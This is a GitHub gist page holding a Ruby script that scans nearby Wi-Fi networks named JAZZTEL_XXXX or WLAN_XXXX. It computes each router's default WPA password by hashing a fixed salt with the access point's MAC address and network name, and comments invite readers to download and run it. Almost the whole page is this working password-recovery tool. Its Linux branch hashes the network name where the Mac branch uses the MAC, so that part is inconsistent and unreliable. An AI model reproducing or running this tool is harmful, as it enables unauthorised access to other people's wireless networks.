-
-
Save oinak/1062124 to your computer and use it in GitHub Desktop.
jazzfonica
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# jazzfonica.rb for Mac OS X | |
# Scans the visible networks for JAZZTEL_XXXX or WLAN_XXXX and calculates the password | |
# Ported from PHP example at http://kz.ath.cx/wlan/codigo.txt | |
# Download and execute with ruby (e.g. ruby jazzfonica.rb) from a Terminal | |
require 'digest/md5' | |
messages = [] | |
unless !File.exists?('/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport') | |
IO.popen("/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -s | sed -e 's/^[ \t]*//g' | egrep '^(WLAN|JAZZTEL)_' | awk '{print $1\"|\"$2}'") do |output| | |
puts "Buscando redes..." | |
output.each { |line| messages << "Red: #{line.split("|")[0]}\nClave: #{Digest::MD5.hexdigest('bcgbghgg' << line.split("|")[1].split.join("\n").upcase.gsub( /:/, '')[0,8] << line.split("|")[0].split("_")[1].upcase << line.split("|")[1].split.join("\n").upcase.gsub( /:/, ''))[0,20]}\n" unless line.split("|")[0].split("_")[1].length != 4 } | |
puts messages.length <= 0 ? "No se han encontrado redes WLAN_XXXX o JAZZTEL_XXXX" : messages.each { |msg| msg } | |
end | |
else | |
cmd =<<-FIN | |
sudo iwlist wlan0 scanning | \ | |
egrep "Address|ESSID" | \ | |
sed -e 's/^[ \t]*//g' | \ | |
sed -e 's/^Cell .* Address: //g' | \ | |
sed -e 's/^ESSID://g' | tr -d '"' | \ | |
awk '{if ((NR % 2)==0){ printf(" %s\\n",$0)} else { printf("%s",$0)} } ' | \ | |
awk '{printf "%s|%s\\n",$2,$1}' | \ | |
egrep '^(WLAN|JAZZTEL)_' | |
FIN | |
IO.popen(cmd) do |output| | |
puts "Buscando redes..." | |
messages = output.map do |line| | |
essid,mac = line.split("|") | |
if essid.split("_")[1].length == 4 | |
key = 'bcgbghgg' + | |
mac.split.join("\n").upcase.gsub( /:/, '')[0,8] + | |
essid.split("_")[1].upcase + | |
essid.split.join("\n").upcase.gsub( /:/, '') | |
hashed_key = Digest::MD5.hexdigest( key )[0,20] | |
#messages << | |
"Red: #{essid} Clave: #{hashed_key}" | |
end | |
end.compact | |
puts messages.length <= 0 ? "No se han encontrado redes WLAN_XXXX o JAZZTEL_XXXX" : messages.each { |msg| msg } | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment